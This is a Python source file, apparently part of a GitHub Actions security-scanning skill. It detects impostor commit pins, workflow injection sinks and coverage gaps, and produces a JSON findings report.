- if peeled is None:
- # No tag object here → the pin really is unreachable. But if the peel
- # never got an answer, we do not know that, and say so.
- return False if answered else None
- logger.debug(
- "%s@%s is an annotated tag object peeling to %s — re-probing that commit",
- repo, sha, peeled,
- )
- # A SERVED tag object is NOT proof of canonical containment: GitHub shares
- # ONE object store across a whole fork network, so `git/tags/{sha}` will
- # happily serve a tag object an attacker created in a fork of this repo.
- # The commit probe is no stronger — see the docstring's measured note; it is
- # simply the narrower of the two questions we can ask, and the only one
- # whose NEGATIVE answer is trustworthy.
- #
- # So the re-probe is the whole verdict, and it has three outcomes, not two:
- # True → the peeled commit resolves in the network: nothing to flag on
- # the evidence available.
- # False → the tag points at a commit that resolves nowhere — not in this
- # repo, not anywhere in its fork network: flag it.
- # None → we could not tell (network, rate limit): UNVERIFIED. We hold no
- # independent proof to fall back on, so claiming "verified" here
- # would assert containment we never established.
- return _gh_commit_probe(repo, peeled)
- def _impostor_sha_findings(
- entry: "CatalogEntry", root: Path, workflow_files: list[Path]
- ) -> tuple[list[tuple[str, RawHit]], str, list[str]]:
- """Run the P14.11 network-gated check.
- Returns ``(hits, status_line, unverified)``: per-file hits as
- ``(rel_file, RawHit)`` tuples, the status recorded in ``gh_checks``,
- and the pins whose verdict was unknowable this run (``repo@sha
- (file:line)``). One cached gh call per unique (repo, sha); every
- occurrence of a flagged pin becomes a hit.
- A run with ANY unknown verdict reports ``partial:``, not ``ran:`` —
- "verified" may only ever be asserted of pins the check actually
- resolved, and the report must be able to name the ones it could not.
- """
- pins = _collect_sha_pins(root, workflow_files)
- if not pins:
- return [], "ran: no sha-pinned actions found", []
- unique = sorted({(repo, sha) for _, _, repo, sha in pins})
- verdicts: dict[tuple[str, str], bool | None] = {}
- for repo, sha in unique:
- verdicts[(repo, sha)] = _gh_commit_in_repo(repo, sha)
- hits: list[tuple[str, RawHit]] = []
- unverified: list[str] = []
- unknowns = sum(1 for v in verdicts.values() if v is None)
- for rel, lineno, repo, sha in pins:
- verdict = verdicts[(repo, sha)]
- if verdict is False:
- hits.append((rel, RawHit(
- line=lineno,
- evidence=(
- f"{lineno:>4}: uses: {repo}@{sha[:12]}… — commit NOT found in "
- f"the canonical repo (fork-only or dangling object) <-- here"
- ),
- match_text=f"{repo}@{sha[:12]}",
- derived=True,
- )))
- elif verdict is None:
- unverified.append(f"{repo}@{sha[:12]}… ({rel}:{lineno})")
- verified = len(unique) - unknowns
- if unknowns:
- status = (
- f"partial: {verified} of {len(unique)} unique pin(s) verified, "
- f"{len(hits)} flagged, {unknowns} UNVERIFIED (network/rate-limit) "
- f"— not treated as clean"
- )
- else:
- status = f"ran: {len(unique)} unique pin(s) verified, {len(hits)} flagged"
- return hits, status, unverified
- def _dedupe_occurrences(findings: list[Finding]) -> list[Finding]:
- """Collapse findings that name the same (pattern, file, line).
- Two template expressions on one line are one occurrence to fix, and SKILL.md
- calls the JSON the source of truth — so the duplicate cannot live only in
- the JSON with the renderer quietly collapsing it (sentry's
- frontend-snapshots.yml:66 was emitted twice and counted twice). Ids are
- renumbered so they stay contiguous.
- Collapsing is not the same as forgetting. Two DIFFERENT expressions on one
- line are still one occurrence to fix, but a finding that named only the
- first hid the second sink from the reader entirely. So every distinct
- ``match_text`` folded into a kept finding is named on its ``<-- here``
- marker; the transient ``_match_text`` key is stripped on the way out.
- """
- seen: dict[tuple[str, str, int], Finding] = {}
- texts: dict[str, list[str]] = {}
- kept: list[Finding] = []
- for f in findings:
- key = (f["pattern"], f["workflow_file"], f["line"])
- match_text = str(f.pop("_match_text", "") or "")
- if key in seen:
- logger.debug("dropping duplicate occurrence %s at %s:%s", *key)
- bucket = texts[id(seen[key])]
- if match_text and match_text not in bucket:
- bucket.append(match_text)
- # Fold the folded finding's own CLAIM in too, not just its label.
- # Naming the second fetch on the marker stopped it vanishing, but
- # the kept finding's prose still described only the first chain, so
- # what runs out of the second tree was stated nowhere at all.
- note = str(f.get("derived_note") or "")
- kept_note = str(seen[key].get("derived_note") or "")
- if note and note not in kept_note:
- seen[key]["derived_note"] = f"{kept_note} ALSO: {note}"
- continue
- seen[key] = f
- texts[id(f)] = [match_text] if match_text else []
- f["id"] = f"f{len(kept) + 1}"
- kept.append(f)
- for f in kept:
- found = texts.get(id(f)) or []
- if len(found) > 1:
- f["evidence"] = str(f.get("evidence") or "").replace(
- " <-- here", " <-- here: " + ", ".join(found), 1
- )
- return kept
- _DEFAULT_GH_SKIP_REASON = "gh not authenticated (run gh auth login)"
- def _gh_unavailable_reason() -> str:
- """Specific guidance when the optional gh-backed checks cannot run."""
- if shutil.which("gh") is None:
- return "gh not installed (install the GitHub CLI)"
- return _DEFAULT_GH_SKIP_REASON
- def scan(
- catalog: list[CatalogEntry],
- root: Path,
- repo: str | None = None,
- gh_impostor: bool = False,
- gh_skip_reason: str = _DEFAULT_GH_SKIP_REASON,
- ) -> dict[str, Any]:
- try:
- return _scan_once(catalog, root, repo, gh_impostor, gh_skip_reason)
- finally:
- # Back to offline on EVERY exit, a raised CoverageError included: a
- # detector called outside a scan never reaches the network on the
- # strength of an earlier scan's switch.
- _reset_release_lookup(False, _DEFAULT_GH_SKIP_REASON, None)
- def _scan_once(
- catalog: list[CatalogEntry],
- root: Path,
- repo: str | None,
- gh_impostor: bool,
- gh_skip_reason: str,
- ) -> dict[str, Any]:
- _DROPPED_MATCHES.clear()
- _reset_expression_tokens()
- # P14.24's release-immutability lookup rides the same network switch as
- # P14.11, so `--gh-impostor off` keeps every vector lookup offline.
- _reset_release_lookup(gh_impostor, gh_skip_reason, root)
- _PARSE_FAILURES_LOGGED.clear()
- workflow_files = all_workflow_files(root)
- missed = _undiscovered_workflows(root, workflow_files)
- if missed:
- raise CoverageError(
- f"{len(missed)} workflow file(s) exist under {root}/.github/workflows "
- f"but were not discovered ({', '.join(missed[:5])}) — the scan would "
- f"report clean on files it never opened"
- )
- if not workflow_files:
- # Zero workflows is not a clean repo, it is nothing to grade: every
- # chain check would pass vacuously, the config facts would score a
- # workflow-less repo 83.3/100 and the report would render ten green
- # rows. Refuse exactly as a missing `.github/workflows` directory does.
- raise CoverageError(
- f"no workflow files found under {root}/.github/workflows — there is "
- f"nothing to scan, so every check would pass vacuously. This is a "
- f"coverage failure, not a clean repo"
- )
- logger.debug(
- "scan starting: %d catalog entries, %d workflow files under %s",
- len(catalog), len(workflow_files), root,
- )
- # Parallel-step census, once per file. Every detector that walks a job's
- # steps reads them through `_iter_job_steps`, so children of a
- # `parallel:` group ARE scanned; this
- # records that they were, so the report can say so rather than leave a
- # reader to wonder whether the newer syntax was understood. A group the
- # walker could not read is a coverage gap, recorded as one.
- parallel_steps: dict[str, Any] = {
- "steps_scanned": 0, "control_steps": 0, "background_steps": 0,
- "workflows": [],
- }
- for wf in workflow_files:
- stats, gaps = _parallel_step_stats(wf)
- parallel_steps["steps_scanned"] += stats.in_parallel
- parallel_steps["control_steps"] += stats.control
- parallel_steps["background_steps"] += stats.background
- if stats.in_parallel or stats.control or stats.background:
- parallel_steps["workflows"].append(_repo_relative(str(wf), root))
- for reason in gaps:
- _record_dropped_match(wf, reason, kind=_KIND_PARALLEL_GROUP)
- # Wall-clock anchor for end-to-end timing: report.py (always the last step)
- # computes total_run_s from this. It lives in scan.py — not just the run.py
- # driver — so the number is captured whether the orchestrator runs run.py or
- # invokes scan.py directly. Without this anchor, a direct-scan run silently
- # drops total_run_s (the failure mode that actually happened).
- _scan_start_epoch = time.time()
- _t_scan_start = time.monotonic()
- findings: list[Finding] = []
- finding_seq = 0
- activity_cache: dict[str, dict[str, Any]] = {}
- # Prefetch activity for every workflow concurrently up front (one gh call
- # each, independent and read-only) so the detector loop below reads a warm
- # cache instead of blocking ~2s per workflow inline.
- _t_enrich_start = time.monotonic()
- if repo:
- activity_cache = _prefetch_activity(repo, workflow_files, root)
- _enrich_s = time.monotonic() - _t_enrich_start
- # gh-impostor-sha runs once per pattern, network-gated. A skip is
- # recorded loudly in gh_checks — never a silent pass.
- gh_checks: dict[str, str] = {}
- # Per-check structured detail the status string can't carry — today the
- # list of pins the impostor check could not resolve, so the report can
- # name each one instead of hiding them behind a count.
- gh_check_details: dict[str, dict[str, Any]] = {}
- for entry in catalog:
- if entry.detector != "gh-impostor-sha":
- continue
- if not gh_impostor:
- gh_checks[entry.pattern] = (
- f"skipped: {gh_skip_reason} (network-gated check did NOT run)"
- )
- continue
- pin_hits, status, unverified = _impostor_sha_findings(
- entry, root, workflow_files
- )
- gh_checks[entry.pattern] = status
- if unverified:
- gh_check_details[entry.pattern] = {"unverified": unverified}
- for rel, hit in pin_hits:
- finding_seq += 1
- findings.append({
- "id": f"f{finding_seq}",
- "pattern": entry.pattern,
- "severity": entry.severity,
- "title": entry.title_template.format(
- basename=rel.rsplit("/", 1)[-1], pattern=entry.pattern,
- severity=entry.severity, match_text=hit.match_text,
- ),
- "workflow_file": rel,
- "line": hit.line,
- "affected_jobs": [],
- "workflow_activity": activity_cache.get(rel, {}),
- "evidence": hit.evidence,
- "evidence_kind": "derived" if hit.derived else "source",
- "fix_strategy": entry.fix_strategy,
- "fix_recipe_anchor": entry.anchor,
- })
- # repo-file-check runs once per pattern (not per workflow file).
- # Pop these out of the per-workflow loop below.
- for entry in catalog:
- if entry.detector != "repo-file-check":
- continue
- assert entry.file_check, "validated in __post_init__"
- check_fn = _FILE_CHECKS.get(entry.file_check)
- if check_fn is None:
- logger.warning(
- "Pattern %s: unknown file_check %r — skipping",
- entry.pattern, entry.file_check,
- )
- continue
- hits = list(check_fn(root))
- for hit in hits:
- finding_seq += 1
- findings.append({
- "id": f"f{finding_seq}",
- "pattern": entry.pattern,
- "severity": entry.severity,
- "title": entry.title_template.format(
- basename="(repo)", pattern=entry.pattern,
- severity=entry.severity, match_text=hit.match_text,
- ),
- "workflow_file": "(repo-wide)",
- "line": hit.line,
- "affected_jobs": [],
- "workflow_activity": {},
- "evidence": hit.evidence,
- "evidence_kind": "derived" if hit.derived else "source",
- "fix_strategy": entry.fix_strategy,
- "fix_recipe_anchor": entry.anchor,
- })
- for entry in catalog:
- if entry.detector in ("repo-file-check", "gh-impostor-sha"):
- continue # already handled above
- if entry.detector == "manual":
- # Documentation-only pattern: not scanned; the catalog
- # section is reference material for human review.
- continue
- if not entry.affected_globs:
- continue
- candidates = [
- f for f in workflow_files
- if _path_matches_any_glob(
- str(f.relative_to(root)),
- entry.affected_globs,
- )
- ]
- logger.debug(
- "evaluating %s (%s) against %d candidate file(s)",
- entry.pattern, entry.detector, len(candidates),
- )
- for wf in candidates:
- rel = str(wf.relative_to(root))
- basename = wf.name
- if entry.detector == "regex":
- assert entry.match is not None # validated in __post_init__
- hits = list(detect_regex(
- wf, entry.match,
- normalize_context_brackets=entry.pattern == "P14.15",
- ))
- elif entry.detector == "yaml-path":
- assert entry.yaml_path is not None
- hits = list(
- detect_yaml_path(wf, entry.yaml_path, entry.yaml_value)
- )
- elif entry.detector == "yaml-path-absent":
- assert entry.yaml_path is not None
- hits = list(detect_yaml_path_absent(wf, entry.yaml_path))
- elif entry.detector == "yaml-on-trigger":
- assert entry.trigger_keys is not None
- hits = list(detect_yaml_on_trigger(wf, entry.trigger_keys))
- elif entry.detector == "yaml-run-injection":
- assert entry.match is not None
- hits = list(detect_yaml_run_injection(
- wf, entry.match,
- normalize_context_brackets=entry.pattern == "P14.10",
- ))
- elif entry.detector == "yaml-job-correlated":
- assert entry.correlation, "validated in __post_init__"
- corr_fn = _JOB_CORRELATIONS.get(entry.correlation)
- if corr_fn is None:
- logger.warning(
- "Pattern %s: unknown correlation %r — skipping",
- entry.pattern, entry.correlation,
- )
- continue
- hits = list(corr_fn(wf))
- elif entry.detector == "yaml-workflow-correlated":
- assert entry.correlation, "validated in __post_init__"
- wcorr_fn = _WORKFLOW_CORRELATIONS.get(entry.correlation)
- if wcorr_fn is None:
- logger.warning(
- "Pattern %s: unknown correlation %r — skipping",
- entry.pattern, entry.correlation,
- )
- continue
- hits = list(wcorr_fn(wf))
- else:
- continue
- logger.debug(
- " %s: %d hit(s) on %s", entry.pattern, len(hits), rel,
- )
- if not hits:
- continue
- jobs = affected_jobs_for(wf)
- job_ranges = job_line_ranges(wf)
- if repo:
- if rel not in activity_cache:
- activity_cache[rel] = fetch_workflow_activity(
- repo, basename,
- workflow_call_only=_is_workflow_call_only(wf),
- )
- activity = activity_cache[rel]
- else:
- activity = {}
- for hit in hits:
- finding_seq += 1
- # A line-anchored hit affects the ONE job that contains it.
- # Stamping the file's whole job list on every occurrence read
- # as "all 22 of these jobs are affected" and contradicted the
- # finding's own evidence. A hit that sits outside every job
- # (workflow-scope permissions, triggers) really does affect
- # them all, and keeps the full list.
- #
- # `job_ranges is None` is a THIRD case: attribution could not
- # be computed at all. That also keeps the full list, but it is
- # not the same claim as "workflow-scope", so the finding
- # carries a note saying which one the reader is looking at.
- if job_ranges is None:
- hit_jobs = jobs
- jobs_note: str | None = (
- "job attribution unavailable — this workflow's YAML "
- "line marks could not be composed, so every job is "
- "listed; this is not a claim that the finding is "
- "workflow-scope"
- )
- else:
- containing_job = job_at_line(job_ranges, hit.line)
- hit_jobs = [containing_job] if containing_job else jobs
- jobs_note = None
- fmt_vars = {
- "basename": basename,
- "pattern": entry.pattern,
- "severity": hit.severity_override or entry.severity,
- "match_text": hit.match_text,
- }
- try:
- title = entry.title_template.format(**fmt_vars)
- except (KeyError, IndexError) as e:
- logger.warning(
- "Pattern %s has bad title_template %r: %s",
- entry.pattern,
- entry.title_template,
- e,
- )
- title = f"{entry.pattern} hit in {basename}"
- findings.append({
- "id": f"f{finding_seq}",
- "pattern": entry.pattern,
- "severity": hit.severity_override or entry.severity,
- "title": title,
- "workflow_file": rel,
- "line": hit.line,
- "affected_jobs": hit_jobs,
- # Present only when the job list is a fallback rather than
- # an attribution; report.py renders it beside the jobs.
- **({"affected_jobs_note": jobs_note} if jobs_note else {}),
- "workflow_activity": activity,
- "evidence": hit.evidence,
- # Optional second claim, always rendered as derived: the
- # condition elsewhere in the job that makes the quoted
- # line a finding (see RawHit.derived_note). Absent for
- # every detector that has only one claim to make.
- **({"derived_note": hit.derived_note}
- if hit.derived_note else {}),
- # Says whether `evidence` quotes the file or states a
- # claim this scanner derived from it; the report renders
- # the two differently so a derived sentence is never
- # dressed as source the reader can go and find.
- "evidence_kind": "derived" if hit.derived else "source",
- "fix_strategy": (
- hit.fix_strategy_override or entry.fix_strategy
- ),
- **({"attacker_scenario": hit.attacker_scenario}
- if hit.attacker_scenario else {}),
- **({"fix_guidance": hit.fix_guidance}
- if hit.fix_guidance else {}),
- "fix_recipe_anchor": entry.anchor,
- # `risk` and `risk_note` are deliberately absent.
- # The orchestrator scores them per group against
- # the actual workflow code (SKILL.md Phase 2.5)
- # and patches them onto each finding before piping
- # the JSON to report.py.
- #
- # Transient, stripped by `_dedupe_occurrences`: the exact
- # text that matched, so two DIFFERENT sinks on one line
- # collapse into one occurrence that names both rather than
- # one that silently names only the first.
- "_match_text": hit.match_text,
- })
- findings = _dedupe_occurrences(findings)
- # Coverage-gap surface: a workflow that can't be read or parsed yields
- # nothing from the detectors, which is indistinguishable from "scanned
- # clean". Probe each file once and record the failures so report.py can
- # surface them loudly — a skipped file must never read as a clean one.
- scan_incomplete: list[dict[str, str]] = []
- for wf in workflow_files:
- reason = _probe_scannability(wf)
- if reason is not None:
- rel = str(wf.relative_to(root))
- logger.warning("coverage gap: %s — %s", rel, reason)
- scan_incomplete.append({"workflow_file": rel, "reason": reason})
- # A file that is not in the working tree AT ALL is the same coverage gap as one
- # that could not be parsed — the detectors never ran on it — so it rides the
- # same channel, which is what flips the report's Coverage row to PARTIAL, raises
- # the incomplete-coverage banner, and (via config_facts) stops the config facts
- # from claiming "all N workflow(s) declare permissions" when N is a fraction of
- # the repository. A partial checkout must not read as a clean repository.
- for rel in _workflow_files_absent_from_tree(root):
- scan_incomplete.append({
- "workflow_file": rel,
- "reason": "present in the audited commit but absent from the scanned "
- "working tree (partial or sparse checkout) — never read, so "
- "its absence from the findings is NOT a pass",
- })
- # A match a detector found but could not anchor to a line is a coverage gap
- # too — but a DIFFERENT one, kept in its own list. See `_DROPPED_MATCHES`:
- # the file here read and parsed fine, so its config facts are perfectly
- # measurable; only one `run:` step went unscanned.
- #
- # Split by KIND. Only an unanchorable `run:` step belongs under the
- # report's "…were NOT scanned…" headline — a computed `working-directory:`
- # is a real gap the headline does not describe, and a pin suppression is
- # not a gap at all.
- # Recorded only when the scan reached a tag-pinned GitHub CLI extension
- # that its job runs: every other repository's output is unchanged.
- # `scan()` switches the lookup back off once this returns or raises.
- #
- # P14.18's payoff turns on one repository setting: whether a workflow's
- # token may approve pull requests. Read it once, only when a P14.18
- # finding exists, and put the answer on each such finding.
- if any(f.get("pattern") == "P14.18" for f in findings):
- approval = _pr_approval_setting(repo)
- for f in findings:
- if f.get("pattern") == "P14.18":
- f["actions_can_approve_prs"] = dict(approval) # type: ignore[typeddict-unknown-key]
- lookup_status, lookup_unverified = _release_lookup_status()
- if lookup_status is not None:
- gh_checks["P14.24"] = lookup_status
- if lookup_unverified:
- gh_check_details["P14.24"] = {"unverified": lookup_unverified}
- dropped_matches: list[dict[str, str]] = []
- coverage_notes: list[dict[str, str]] = []
- suppressed_findings: list[dict[str, str]] = []
- _by_kind = {
- _KIND_UNANCHORED: dropped_matches,
- _KIND_NOT_SCANNED: coverage_notes,
- _KIND_PARALLEL_GROUP: coverage_notes,
- _KIND_SUPPRESSED: suppressed_findings,
- }
- for dropped in _DROPPED_MATCHES:
- rel = _repo_relative(dropped["file"], root)
- kind = dropped.get("kind", _KIND_UNANCHORED)
- if kind != _KIND_SUPPRESSED:
- logger.warning("coverage gap (%s): %s — %s", kind, rel,
- dropped["reason"])
- else:
- logger.debug("suppressed finding: %s — %s", rel, dropped["reason"])
- entry = {"workflow_file": rel, "reason": dropped["reason"]}
- if kind == _KIND_PARALLEL_GROUP:
- entry["scope"] = _KIND_PARALLEL_GROUP
- bucket = _by_kind.get(kind, dropped_matches)
- if entry not in bucket:
- bucket.append(entry)
- logger.debug(
- "scan complete: %d findings, %d coverage gap(s), %d dropped match(es)",
- len(findings), len(scan_incomplete), len(dropped_matches),
- )
- _total_s = time.monotonic() - _t_scan_start
- logger.debug(
- "Timing: scan_total=%.1fs activity_enrich=%.1fs (concurrent) over %d workflow(s)",
- _total_s, _enrich_s, len(workflow_files),
- )
- return {
- "scanned_at": _dt.datetime.now(_dt.timezone.utc)
- .isoformat(timespec="seconds")
- .replace("+00:00", "Z"),
- "scanned_workflows": len(workflow_files),
- "repo_root": str(root),
- "repo": repo,
- "commit_sha": _git_commit_sha(root),
- # True when the audited checkout had uncommitted/untracked changes at
- # scan time — the scanned bytes then are not the bytes at `commit_sha`,
- # and the report says so on its audited-commit row.
- "repo_tree_dirty": _repo_tree_dirty(root),
- "skill_commit_sha": _skill_commit_sha(),
- # True when the skill's tracked source had uncommitted edits at scan
- # time — so `skill_commit_sha` alone may not reflect the code that ran.
- # report.py marks the recorded commit `-dirty` so provenance is honest.
- "skill_tree_dirty": _skill_tree_dirty(),
- # Per-phase wall-clock so a slow run shows WHERE the time went
- # (Tier-0 timing). The orchestrator folds these into its Phase 6
- # `Timing:` summary.
- "timings": {
- "run_start_epoch": round(_scan_start_epoch, 3),
- "activity_enrich_s": round(_enrich_s, 2),
- "scan_total_s": round(_total_s, 2),
- },
- "gh_checks": gh_checks,
- "gh_check_details": gh_check_details,
- # Every catalog pattern this scan actually evaluated. A chain that
- # failed to load would otherwise be indistinguishable from a chain
- # that found nothing; verify_report.py compares this set against the
- # ten-vector manifest so a silently-shrunk catalog goes red.
- "catalog_patterns_evaluated": sorted(e.pattern for e in catalog),
- "findings": findings,
- # Workflow files that couldn't be read or YAML-parsed, so the static
- # detectors never ran on them. Always set (empty when every file
- # scanned) so report.py can rely on the key. Non-empty means the
- # report's "clean" verdict has holes — see report.py's gap banner.
- "scan_incomplete": scan_incomplete,
- # `run:` steps a detector could not anchor to a raw line and therefore
- # never scanned for injection sinks. A separate channel from
- # `scan_incomplete` on purpose: the FILE parsed fine, so its config
- # facts stay measurable, while coverage still degrades to PARTIAL and
- # the report names the step count and the file count honestly.
- "dropped_matches": dropped_matches,
- # A real coverage gap that is NOT an unanchorable run step — a
- # computed `working-directory:`, a `ref:` chosen at run time, shell
- # that would not parse — or, tagged `scope: parallel-group`, a
- # `parallel:` group or background step whose steps may not have been
- # scanned as steps. Its own key so the report can name it in its own
- # words instead of under a headline that misdescribes it.
- "coverage_notes": coverage_notes,
- # Steps read inside GitHub Actions `parallel:` groups, plus the
- # control (`wait:`/`wait-all:`/`cancel:`) and `background: true` steps
- # seen. Informational: the leaf steps counted were scanned like any
- # other (control steps hold no code), and the count is disclosed so
- # that is never left implicit.
- "parallel_steps": parallel_steps,
- # The workflow lockfile (`.github/workflows/actions.lock`): its state
- # and how many tag-pinned `uses:` references it locks to a commit in
- # the workflows it lists. Informational, never a coverage gap: GitHub
- # verifies each locked commit at run time, and P14.11 reads only
- # full-commit `uses:` pins, so without this a locked repository's
- # impostor check would go quiet with no sign of why.
- "action_lockfile": _action_lockfile_summary(root, workflow_files),
- # Findings the scanner REACHED and deliberately did not report, above
- # all a fetch pinned to a full commit id. Informational: this must
- # never degrade coverage, or a repository that did exactly what the fix
- # recipe says is told its report is not a clean result.
- "suppressed_findings": suppressed_findings,
- # The config facts + the security component of the CI Score
- # (ci-secure owns this number; the ten vectors above stay
- # findings-only and never enter it). Unscannable workflows force
- # every workflow-scoped fact to UNMEASURED, never a silent pass — but
- # a merely unanchored `run:` step does not: the file parsed, so the
- # facts about it are real.
- #
- # **The AGGREGATE here is machine-only and is deliberately never
- # rendered to a reader** — a deliberate design choice. The block's
- # CONTRACT is unchanged because ci-advisor blends from it: same keys,
- # same `fact_id`s, same `outcome`s, same `score`/`passed`/
- # `scored_count`/`applicable_count`/`unmeasured`/`constants`/
- # `registered`. Only human-readable prose inside it moved (a `fact`
- # sentence and the crash-path `reason`, both of which the report
- # PRINTS and so had to stop referring to a score) — so it is
- # shape-compatible, not byte-identical. Bind to the ids, not the
- # prose. `report.py`
- # renders the FACTS as a `## 🧰 Config hygiene checks — pass/fail`
- # table and no number at all. A hygiene aggregate labelled "Security
- # score" overclaims what a handful of config observations can say and collides
- # with the vector scan printed beside it — an early run read "5 of 6
- # facts pass" above ten green rows as a contradiction.
- #
- # This exact back-and-forth has already happened ONCE, in the other
- # direction: a review restored the rendered score on the argument that
- # "a score computed but not shown is a number the reader cannot
- # check". That argument is answered, not overlooked — the number is
- # not shown to the reader because it is not FOR the reader.
- # `tests/verify_report.py::check_no_rendered_security_score` makes the
- # invisibility an invariant. Do not "fix" it again.
- "security_score": _compute_security_score(root, workflow_files,
- scan_incomplete, repo),
- }
- def _fetch_workflow_permissions(repo: str) -> dict[str, Any]:
- """The repository's default workflow-token settings, from the API.
- `GET repos/{owner}/{repo}/actions/permissions/workflow` returns
- `default_workflow_permissions` and `can_approve_pull_request_reviews`.
- Raises on any failure; `_pr_approval_setting` turns that into "unread".
- """
- from gh_utils import check_prereqs, run_gh_api # noqa: E402
- if not check_prereqs():
- raise RuntimeError("gh is unavailable or not signed in (run gh auth login)")
- body = json.loads(run_gh_api(
- f"repos/{repo}/actions/permissions/workflow",
- quiet_not_found=True, quiet_forbidden=True))
- if not isinstance(body, dict):
- raise RuntimeError("the API returned something other than an object")
- return body
- def _pr_approval_setting(repo: str | None) -> dict[str, str]:
- """{"state": "true"|"false"|"unread", "detail": ...} for P14.18.
- Network-gated like the API-read config facts: it needs `owner/repo` and a
- signed-in gh. Anything short of a boolean from the API is "unread" with
- the reason, never a default — a guessed "false" would tell a reader a
- hijacked job cannot approve pull requests when nobody looked.
- """
- if not repo:
- return {"state": "unread", "detail": (
- "this scan had no repository to read the setting from (it needs "
- "gh signed in and a GitHub remote)")}
- try:
- body = _fetch_workflow_permissions(repo)
- except Exception as exc: # noqa: BLE001
- reason = " ".join(str(exc).split())[:200]
- return {"state": "unread",
- "detail": f"the setting could not be read ({reason})"}
- value = body.get("can_approve_pull_request_reviews")
- if value is True:
- return {"state": "true",
- "detail": "read from the repository's Actions settings"}
- if value is False:
- return {"state": "false",
- "detail": "read from the repository's Actions settings"}
- return {"state": "unread", "detail": (
- "the API answered without a `can_approve_pull_request_reviews` value")}
- def _compute_security_score(
- root: Path, workflow_files: list[Path],
- scan_incomplete: list[dict[str, str]],
- repo: str | None = None,
- ) -> dict[str, Any]:
- """Isolated so a facts-layer crash degrades to an honest 'unmeasured'
- block instead of taking down the whole scan (the vectors are the product's
- core; the score must never be the reason a scan dies)."""
- try:
- import config_facts
- return config_facts.compute_config_facts(root, workflow_files,
- scan_incomplete, repo=repo)
- except Exception as exc: # noqa: BLE001
- logger.warning("security_score unavailable: %r", exc)
- # Same key set as facts_to_score, so a consumer never has to branch on
- # which path produced the block — a `constants` KeyError that fires
- # only on the failure path is the worst place to discover the gap.
- return {"facts": [], "score": None, "passed": 0, "scored_count": 0,
- "applicable_count": 0, "unmeasured": [], "not_applicable": [],
- "constants": {"rule": "100 * passed / scored; pass/fail only, "
- "no weights, no partial credit"},
- # `reason` is READER-VISIBLE: report.py prints it in the
- # "Nothing here was checked" headline whenever `facts` is
- # empty, which is exactly this path. So it must not talk about
- # a score — the report renders none by design, and "this is NOT a score of 100" in a report with no score
- # is the removed contract leaking back at the reader.
- "reason": f"config-facts layer failed: {exc!r} — no config "
- "fact could be checked", "registered": None,
- # The unscored push-access lists, in their "not checked"
- # shape: an inventory absent from a crashed run must not read
- # as "no secrets exposed".
- "push_access": {
- "status": "not_checked",
- "reason": "the config-facts layer failed",
- "environments": [],
- "inventory": {"status": "not_checked",
- "repo_secrets": None, "org_secrets": None,
- "high_value": [],
- "reason": "the config-facts layer failed"},
- "tier1_gap": "", "credential_note": ""}}
- def _default_catalog_path() -> Path:
- return _THIS_DIR.parent / "references" / "security-patterns.md"
- def main(argv: list[str] | None = None) -> int:
- parser = argparse.ArgumentParser(
- description="Scan a repo's GitHub Actions workflows for security findings.",
- )
- parser.add_argument(
- "--catalog",
- type=Path,
- default=_default_catalog_path(),
- help="Path to security-patterns.md (default: bundled catalog).",
- )
- parser.add_argument(
- "--root",
- type=Path,
- default=Path.cwd(),
- help="Repo root to scan (default: cwd).",
- )
- parser.add_argument(
- "--repo",
- type=str,
- default=None,
- help="owner/repo to enrich findings with workflow activity (optional).",
- )
- parser.add_argument(
- "--gh-impostor",
- choices=["auto", "on", "off"],
- default="auto",
- help=(
- "The P14.11 impostor-SHA check and P14.24's release-"
- "immutability lookup need the GitHub API. auto (default): run "
- "iff gh is authenticated; on: require it (error if gh "
- "unavailable); off: skip (recorded loudly in gh_checks)."
- ),
- )
- args = parser.parse_args(argv)
- root = args.root.resolve()
- if not (root / ".github" / "workflows").is_dir():
- print(
- f"ERROR: no .github/workflows directory under {root}",
- file=sys.stderr,
- )
- return 1
- if args.repo:
- # Validate the format up front so a malformed value (e.g. a full URL,
- # an `owner` with no slash, or a `git@github.com:owner/repo.git`
- # remote) surfaces as an error instead of silently dropping activity
- # enrichment on every finding.
- from gh_utils import validate_repo_format # noqa: E402
- ok, err = validate_repo_format(args.repo)
- if not ok:
- print(f"ERROR: --repo: {err}", file=sys.stderr)
- return 2
- try:
- catalog = load_catalog(args.catalog)
- except (FileNotFoundError, ValueError) as e:
- print(
- f"ERROR: the pattern catalog is broken — {e}\n"
- f" This is a COVERAGE FAILURE, not a clean scan: the "
- f"affected chain would never be evaluated. Reinstall the skill "
- f"(or fix {args.catalog}) and re-run.",
- file=sys.stderr,
- )
- return 1
- gh_skip_reason = _gh_unavailable_reason()
- if args.gh_impostor == "on":
- from gh_utils import check_prereqs # noqa: E402
- if not check_prereqs():
- print(
- f"ERROR: --gh-impostor=on but {gh_skip_reason}",
- file=sys.stderr,
- )
- return 2
- gh_impostor = True
- elif args.gh_impostor == "auto":
- from gh_utils import check_prereqs # noqa: E402
- gh_impostor = check_prereqs()
- else:
- gh_impostor = False
- gh_skip_reason = "disabled via --gh-impostor=off"
- try:
- result = scan(
- catalog, root, repo=args.repo, gh_impostor=gh_impostor,
- gh_skip_reason=gh_skip_reason,
- )
- except CoverageError as e:
- print(f"ERROR: coverage failure — {e}", file=sys.stderr)
- return 1
- json.dump(result, sys.stdout, indent=2)
- sys.stdout.write("\n")
- return 0
- if __name__ == "__main__":
- sys.exit(main())
Ratings and comments
Sign in to rate this skill.
Sign inFree to use. If it’s helped, pass it on.